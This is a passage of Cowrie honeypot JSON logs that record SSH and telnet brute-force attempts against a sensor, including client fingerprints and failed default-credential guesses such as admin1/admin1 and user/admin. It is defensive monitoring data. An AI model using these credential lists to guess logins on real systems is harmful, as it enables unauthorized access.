-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:19.771850Z","src_ip":"176.65.139.95","session":"c0e73a95b352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:20.440969Z","src_ip":"176.65.139.95","session":"c0e73a95b352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:21.528121Z","src_ip":"176.65.139.95","session":"c0e73a95b352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47654,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93d61e92739","protocol":"ssh","message":"New connection: 176.65.139.95:47654 (159.203.135.109:22) [session: b93d61e92739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:26.170345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:26.190318Z","src_ip":"176.65.139.95","session":"b93d61e92739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:26.256605Z","src_ip":"176.65.139.95","session":"b93d61e92739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:26.918495Z","src_ip":"176.65.139.95","session":"b93d61e92739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:28.008002Z","src_ip":"176.65.139.95","session":"b93d61e92739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47564,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6787c2ca5cf","protocol":"ssh","message":"New connection: 176.65.139.95:47564 (159.203.135.109:22) [session: b6787c2ca5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:32.661654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:32.667640Z","src_ip":"176.65.139.95","session":"b6787c2ca5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:32.746574Z","src_ip":"176.65.139.95","session":"b6787c2ca5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:33.117837Z","src_ip":"176.65.139.95","session":"b6787c2ca5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":34984,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4271b278e7","protocol":"ssh","message":"New connection: 79.116.23.158:34984 (10.17.0.5:22) [session: 5c4271b278e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:33.490433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:33.498330Z","src_ip":"79.116.23.158","session":"5c4271b278e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:33.620971Z","src_ip":"79.116.23.158","session":"5c4271b278e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:34.139261Z","src_ip":"79.116.23.158","session":"5c4271b278e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:34.223087Z","src_ip":"176.65.139.95","session":"b6787c2ca5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:35.263393Z","src_ip":"79.116.23.158","session":"5c4271b278e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54252,"dst_ip":"159.203.135.109","dst_port":22,"session":"e20068e586f0","protocol":"ssh","message":"New connection: 176.65.139.95:54252 (159.203.135.109:22) [session: e20068e586f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.139605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.144991Z","src_ip":"176.65.139.95","session":"e20068e586f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.314312Z","src_ip":"176.65.139.95","session":"e20068e586f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40230,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65086ee3f1d","protocol":"ssh","message":"New connection: 159.203.92.129:40230 (159.203.135.109:22) [session: e65086ee3f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.514970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.525038Z","src_ip":"159.203.92.129","session":"e65086ee3f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.528828Z","src_ip":"159.203.92.129","session":"e65086ee3f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HHH","password":"qwerty","message":"login attempt [HHH/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.546623Z","src_ip":"159.203.92.129","session":"e65086ee3f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:39.581466Z","src_ip":"176.65.139.95","session":"e20068e586f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:40.554926Z","src_ip":"159.203.92.129","session":"e65086ee3f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:40.665715Z","src_ip":"176.65.139.95","session":"e20068e586f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.119.40.230","src_port":46408,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9621769b044","protocol":"telnet","message":"New connection: 157.119.40.230:46408 (10.17.0.5:23) [session: c9621769b044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:42.575620Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54266,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d00ff0b85c","protocol":"ssh","message":"New connection: 176.65.139.95:54266 (159.203.135.109:22) [session: 98d00ff0b85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:45.596345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:45.601228Z","src_ip":"176.65.139.95","session":"98d00ff0b85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:45.736883Z","src_ip":"176.65.139.95","session":"98d00ff0b85c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:46.434047Z","src_ip":"176.65.139.95","session":"98d00ff0b85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:47.520047Z","src_ip":"176.65.139.95","session":"98d00ff0b85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40046,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc338ecfe15","protocol":"ssh","message":"New connection: 176.65.139.95:40046 (159.203.135.109:22) [session: edc338ecfe15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:52.444190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:52.448880Z","src_ip":"176.65.139.95","session":"edc338ecfe15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:52.621446Z","src_ip":"176.65.139.95","session":"edc338ecfe15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:52.948846Z","src_ip":"176.65.139.95","session":"edc338ecfe15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:54.039362Z","src_ip":"176.65.139.95","session":"edc338ecfe15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59860,"dst_ip":"159.203.135.109","dst_port":22,"session":"af0e5e2a9c47","protocol":"ssh","message":"New connection: 176.65.139.95:59860 (159.203.135.109:22) [session: af0e5e2a9c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:58.807348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:58.812323Z","src_ip":"176.65.139.95","session":"af0e5e2a9c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:58.900418Z","src_ip":"176.65.139.95","session":"af0e5e2a9c47","protocol":"ssh"}
